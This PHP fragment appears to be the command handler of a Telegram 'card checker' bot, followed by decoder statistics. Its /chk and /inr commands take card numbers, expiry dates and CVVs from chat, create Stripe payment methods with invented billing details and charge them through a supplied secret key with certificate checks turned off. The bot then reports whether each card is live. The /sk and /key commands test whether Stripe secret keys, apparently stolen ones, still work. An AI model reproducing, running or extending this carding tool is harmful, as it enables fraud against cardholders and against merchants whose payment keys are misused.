curl_setopt($ch, CURLOPT_POSTFIELDS, 'type=card&card[number]='.$cc.'&card[exp_month]='.$mes.'&card[exp_year]='.$ano.'&card[cvc]='.$cvv.'&billing_details[address][line1]=36&billing_details[address][line2]=Regent Street&billing_details[address][city]=Jamestown&billing_details[address][postal_code]=14701&billing_details[address][state]=New York&billing_details[address][country]=US&billing_details[email]='.$mail.'@gmail.com&billing_details[name]= Mittal');
$result1 = curl_exec($ch);
$tok1 = Getstr($result1,'"id": "','"');
$msg1 = Getstr($result1,'"message": "','"');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_intents');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'amount='.$amount.'¤cy=usd&payment_method_types[]=card&description= Donation&payment_method='.$tok1.'&confirm=true&off_session=true');
$result2 = curl_exec($ch);
$msg2 = Getstr($result2,'"message": "','"');
$rcp = trim(strip_tags(getStr($result2,'"receipt_url": "','"')));
if(strpos($result2, '"seller_message": "Payment complete."' )) {
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Successfully Charged $$amt </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);
}
elseif(strpos($result2, "insufficient_funds" )) {
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Insufficient Funds</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "card_error_authentication_required")) || (strpos($result2, "card_error_authentication_required"))){ sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - 3D Card</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result2,'"cvc_check": "pass"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Payment Cannot Be Completed</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result2,'"code": "incorrect_cvc"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $$amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result1,'"code": "incorrect_cvc"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "transaction_not_allowed")) || (strpos($result2, "transaction_not_allowed"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Transaction Not Allowed</b><b>Gateway - Stripe Charge $$amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "fraudulent")) || (strpos($result2, "fraudulent"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Fraudulent</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "expired_card")) || (strpos($result2, "expired_card"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Expired Card</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "generic_declined")) || (strpos($result2, "generic_declined"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);
}
elseif ((strpos($result1, "do_not_honor")) || (strpos($result2, "do_not_honor"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Do Not Honor</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, 'rate_limit')) || (strpos($result2, 'rate_limit'))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - SK IS AT RATE LIMIT</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "Your card was declined.")) || (strpos($result2, "Your card was declined."))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, ' "message": "Your card number is incorrect."')) || (strpos($result2, ' "message": "Your card number is incorrect."'))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Card Number Is Incorrect</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
else {
sendMessage($chatId, "<b><u><i>Unknown Error. $msg1 - $msg2</i></u></b>", $message_id);
};
}
elseif ((strpos($message, "/inr") === 0)||(strpos($message, "!inr") === 0)||(strpos($message, ".inr") === 0)){
$message = substr($message, 4);
$amt = multiexplode(array("/", ":", " ", "|"), $message)[0];
$cc = multiexplode(array(":", "/", " ", "|"), $message)[1];
$mes = multiexplode(array(":", "/", " ", "|"), $message)[2];
$ano = multiexplode(array(":", "/", " ", "|"), $message)[3];
$cvv = multiexplode(array(":", "/", " ", "|"), $message)[4];
if (empty($amt)) {
$amt = '100';
}
$amount = $amt * 100;
$lista = ''.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.'';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$cc.'');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: lookup.binlist.net',
'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, '');
$fim = curl_exec($ch);
$bank = GetStr($fim, '"bank":{"name":"', '"');
$name = GetStr($fim, '"name":"', '"');
$brand = GetStr($fim, '"brand":"', '"');
$country = GetStr($fim, '"country":{"name":"', '"');
$emoji = GetStr($fim, '"emoji":"', '"');
$scheme = GetStr($fim, '"scheme":"', '"');
$type = GetStr($fim, '"type":"', '"');
if(strpos($fim, '"type":"credit"') !== false){
$bin = 'Credit';
}else{
$bin = 'Debit';
};
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_methods');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'type=card&card[number]='.$cc.'&card[exp_month]='.$mes.'&card[exp_year]='.$ano.'&card[cvc]='.$cvv.'&billing_details[address][line1]=36&billing_details[address][line2]=Regent Street&billing_details[address][city]=Jamestown&billing_details[address][postal_code]=14701&billing_details[address][state]=New York&billing_details[address][country]=US&billing_details[email]='.$mail.'@gmail.com&billing_details[name]= Mittal');
$result1 = curl_exec($ch);
$tok1 = Getstr($result1,'"id": "','"');
$msg1 = Getstr($result1,'"message": "','"');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_intents');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . '');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'amount='.$amount.'¤cy=inr&payment_method_types[]=card&description= Donation&payment_method='.$tok1.'&confirm=true&off_session=true');
$result2 = curl_exec($ch);
$msg2 = Getstr($result2,'"message": "','"');
$rcp = trim(strip_tags(getStr($result2,'"receipt_url": "','"')));
if(strpos($result2, '"seller_message": "Payment complete."' )) {
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Successfully Charged $amt </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);
}
elseif(strpos($result2, "insufficient_funds" )) {
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Insufficient Funds</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "card_error_authentication_required")) || (strpos($result2, "card_error_authentication_required"))){ sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - 3D Card</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result2,'"cvc_check": "pass"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Payment Cannot Be Completed</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result2,'"code": "incorrect_cvc"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif(strpos($result1,'"code": "incorrect_cvc"')){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "transaction_not_allowed")) || (strpos($result2, "transaction_not_allowed"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Transaction Not Allowed</b><b>Gateway - Stripe Charge $amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "fraudulent")) || (strpos($result2, "fraudulent"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Fraudulent</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "expired_card")) || (strpos($result2, "expired_card"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Expired Card</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "generic_declined")) || (strpos($result2, "generic_declined"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);
}
elseif ((strpos($result1, "do_not_honor")) || (strpos($result2, "do_not_honor"))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Do Not Honor</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, 'rate_limit')) || (strpos($result2, 'rate_limit'))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - SK IS AT RATE LIMIT</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, "Your card was declined.")) || (strpos($result2, "Your card was declined."))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
elseif ((strpos($result1, ' "message": "Your card number is incorrect."')) || (strpos($result2, ' "message": "Your card number is incorrect."'))){
sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Card Number Is Incorrect</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);}
else {
sendMessage($chatId, "<b><u><i>Unknown Error. $msg1 - $msg2</i></u></b>", $message_id);
};
}
elseif ((strpos($message, "/cmds") === 0)||(strpos($message, "!cmds") === 0)||(strpos($message, "!command") === 0)||(strpos($message, "!commands") === 0)||(strpos($message, "/commands") === 0)||(strpos($message, "/command") === 0)||(strpos($message, "/cmd") === 0)){
sendMessage($chatId, "<b><i>[Checker Gates]STRIPE CUSTOM CHARGE -/chk{Amount In $} - xxxxxxxxxxxxxxxx|xx|xx|xxx/inr{Amount In } - xxxxxxxxxxxxxxxx|xx|xx|xxxBIN LOOKUP - /bin - xxxxxxSK CHECK - /sk - sk_live_xxxxxxxxxx[Tools]TELEGRAM ID/GROUP ID - /id</i></b>", $message_id);
}
//////////=========[Bin Command]=========//////////
elseif ((strpos($message, "/bin") === 0)||(strpos($message, "!bin") === 0)||(strpos($message, ".bin") === 0)){
$bin = substr($message, 5);
if (!empty($bin)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$bin.'');
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: lookup.binlist.net',
'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, '');
$fim = curl_exec($ch);
$bank = GetStr($fim, '"bank":{"name":"', '"');
$name = GetStr($fim, '"name":"', '"');
$brand = GetStr($fim, '"brand":"', '"');
$country = GetStr($fim, '"country":{"name":"', '"');
$emoji = GetStr($fim, '"emoji":"', '"');
$scheme = GetStr($fim, '"scheme":"', '"');
$type = GetStr($fim, '"type":"', '"');
if(strpos($fim, '"type":"credit"') !== false){
$bin = 'Credit';
}else{
$bin = 'Debit';
};
sendMessage($chatId, '<b> Valid Bin</b><b> Bank:</b> '.$bank.'<b> Country:</b> '.$name.''.$emoji.'<b> Brand:</b> '.$brand.'<b> Card:</b> '.$scheme.'<b> Type:</b> '.$type.'<b> Checked By:</b> @'.$username.'<b> Bot By: </b>', $message_id);
}
else {
sendMessage($chatId, '<b> Invalid BinFormat - /bin xxxxxx</b>', $message_id);
}
}
elseif (strpos($message, "/key") === 0){
$sec = substr($message, 5);
if (!empty($sec)) {
$skhidden = substr_replace($sec, '',12).preg_replace("/(?!^).(?!$)/", "x", substr($sec, 12));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/tokens');
curl_setopt($ch, CURLOPT_USERPWD, $sec. ':' . '');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'card[number]=4912461004526326&card[exp_month]=04&card[exp_year]=2024&card[cvc]=011');
$result = curl_exec($ch);
$response = trim(strip_tags(GetStr($result,'"message": "','"')));
if (strpos($result, 'tok_')){
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> SK LIVE!!<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'Invalid API Key provided')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> INVALID KEY<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'You did not provide an API key.')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> No Sk Key Provided<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'rate_limit')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Rate Limited Key<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif ((strpos($result, 'testmode_charges_only')) || (strpos($result, 'test_mode_live_card'))){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Testmode Charges Only<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'api_key_expired')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Api Key Expired<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
else{
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> Unknown Error.<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
}
else {
sendMessage($chatId, '<b> No Sk ProvidedFormat - /key sk_live_xxxxxxxxxxx</b>', $message_id);
}
delMessage($chatId, $message_id);
;}
elseif (strpos($message, "/sk") === 0){
$sec = substr($message, 4);
if (!empty($sec)) {
$skhidden = substr_replace($sec, '',12).preg_replace("/(?!^).(?!$)/", "x", substr($sec, 12));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/tokens');
curl_setopt($ch, CURLOPT_USERPWD, $sec. ':' . '');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'card[number]=4912461004526326&card[exp_month]=04&card[exp_year]=2024&card[cvc]=011');
$result = curl_exec($ch);
$response = trim(strip_tags(GetStr($result,'"message": "','"')));
if (strpos($result, 'tok_')){
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> SK LIVE!!<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'Invalid API Key provided')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> INVALID KEY<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'You did not provide an API key.')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> No Sk Key Provided<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'rate_limit')){
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Rate Limited Key<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif ((strpos($result, 'testmode_charges_only')) || (strpos($result, 'test_mode_live_card'))){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Testmode Charges Only<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
elseif (strpos($result, 'api_key_expired')){
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Api Key Expired<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
else{
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> Unknown Error.<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id);
}
}
else {
sendMessage($chatId, '<b> No Sk ProvidedFormat - /sk sk_live_xxxxxxxxxxx</b>', $message_id);
}
delMessage($chatId, $message_id);
;}
function sendMessage ($chatId, $message, $message_id){
$url = $GLOBALS[website]."/sendMessage?chat_id=".$chatId."&text=".$message."&reply_to_message_id=".$message_id."&parse_mode=HTML";
file_get_contents($url);
};
function delMessage ($chatId, $message_id){
$url = $GLOBALS[website]."/deleteMessage?chat_id=".$chatId."&message_id=".$message_id."";
file_get_contents($url);
};
function editMessage($chatId, $message, $messageId) {
$url = $GLOBALS[website]."/editMessageText?chat_id=".$chatId."&message_id=".$messageId."&text=".urlencode($message);
file_get_contents($url);
}
Function Calls
None |
Stats
MD5 | 959a19b6a9a01a1aa24f5c1e7ed035c7 |
Eval Count | 0 |
Decode Time | 141 ms |